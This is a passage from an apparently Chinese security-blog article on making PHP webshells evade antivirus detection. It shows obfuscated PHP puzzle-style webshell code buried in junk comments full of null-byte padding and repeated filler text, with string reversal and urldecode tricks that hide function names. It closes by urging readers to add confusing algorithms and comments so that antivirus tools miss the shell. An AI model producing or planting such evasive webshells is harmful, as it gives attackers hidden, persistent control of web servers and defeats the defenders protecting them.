希儿世界第一可爱!*/__construct() {$this -> blockA = 2;$this-> blockB =/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/0;$this -> blockC = 0;/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/$this -> blockD = 2;}private/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/function setBackBlock($block)/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/{$setType = $this/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/-> MIN_ENUM;$maxType = $this -> MAX_ENUM;switch ($block) {case 'A':if ($this -> blockA == $maxType) { $this -> blockA = $setType;return true; }else return/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/false;case 'B':if ($this -> blockB== $maxType) { $this -> blockB = $setType;return true; }else return false;case 'C':if ($this/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/-> blockC == $maxType){ $this -> blockC = $setType;return true; }else/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/return false;case 'D':if ($this -> blockD== $maxType) { $this -> blockD = $setType;return true; }else return false;default: throw new Exception("bad_args", 1);}}private function hit($blockIdx) {global/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjglobal $cnbd;rejfgireghjebvf;fvevbbn();ff;grtisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/$text;$text = urldecode("%6e%69%6c%72%65%70%5f%46%46%49%44");switch ($blockIdx) {case "A":if (!$this -> setBackBlock("A")) $this -> blockA += 1;if (!$this -> setBackBlock("B")) $this -> blockB += 1;break;case "B":if (!$this -> setBackBlock("A")) $this -> blockA += 1;if (!$this -> setBackBlock("B")) $this -> blockB += 1;if (!$this -> setBackBlock("C")) $this ->/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/blockC += 1;break;case "C":if/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/(!$this -> setBackBlock("B")) $this -> blockB += 1;if (!$this -> setBackBlock("C")) $this -> blockC += 1;if (!$this ->/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/setBackBlock("D"))$this -> blockD += 1;break;case "D":if (!$this -> setBackBlock("C")) $this -> blockC += 1;if (!$this -> setBackBlock("D")) $this -> blockD += 1;break;default: throw new Exception("bad_args", 1); }}public function __AFG50CE4_RG1() {global $puzz_writeup;if (count($puzz_writeup) === 0) throw new Exception("Invalid WriteUP",1);for ($i = 0; $i < count($puzz_writeup);/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/// bcdufvcf%00$i++) {if (strcmp($puzz_writeup[$i],"A") !== 0 and strcmp($puzz_writeup[$i],"B") !== 0 and strcmp($puzz_writeup[$i]/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/,"C") !== 0 and strcmp($puzz_writeup[$i],"D") !== 0) die("笨蛋笨蛋笨蛋笨蛋!!~ 都...都跟你说了答案里只能有ABCD的......");}for ($i = 0; $i < count($puzz_writeup); $i++) $this -> hit($puzz_writeup[$i]);global/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/$userans; $userans =/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/$this ->blockA + $this/*->ddd;echo();die();\n\0\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/-> blockB + $this -> blockC/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/+ $this -> blockD;}public function/*\00\00\00%00%00fvjivfmfveb vebvgebb;gjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/getLockerStatus() {global $text;$text =/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/strrev($text);if ($this -> blockA ===$this -> blockB and $this -> blockA === $this -> blockC and $this -> blockA === $this -> blockD) return true;else return false;}}function pause($obj) {global $appor5nnb;if (!$appor5nnb -> getLockerStatus()) die();return $obj;}$appor5nnb = new InazumaPuzzle();$appor5nnb -> __AFG50CE4_RG1();$cvb33ff55 = new PerlinNoise(3000, 700.4, 56.7, "DIFF_PERLIN");$cvb33ff55->__BHUYTVV8_1();$cvb33ff55 -> __CPRBB0R0_l();$cvb33ff55 ->__HNBB70CA_5();
?>
这个代码看着就乱,根本读不下去,里面很多无用代码,很容易被误导,读不懂。
总结
webshell的免杀有很多方式,师傅们可以多加一些复杂的算法和注释进去,让代码变得混乱,这样杀毒软件就很难检测了。
参考🔗
https://github.com/misaka19008/PerlinPuzzle-Webshell-PHP/blob/master/perlin.php
https://zhuanlan.zhihu.com/p/206271895?ivk_sa=1024320u&utm_id=0
https://www.miyoushe.com/ys/article/17414097
https://blog.csdn.net/qq_45521281/article/details/105849770
文章作者:先知社区(Werqy3)
文章来源:https://xz.aliyun.com/news/16466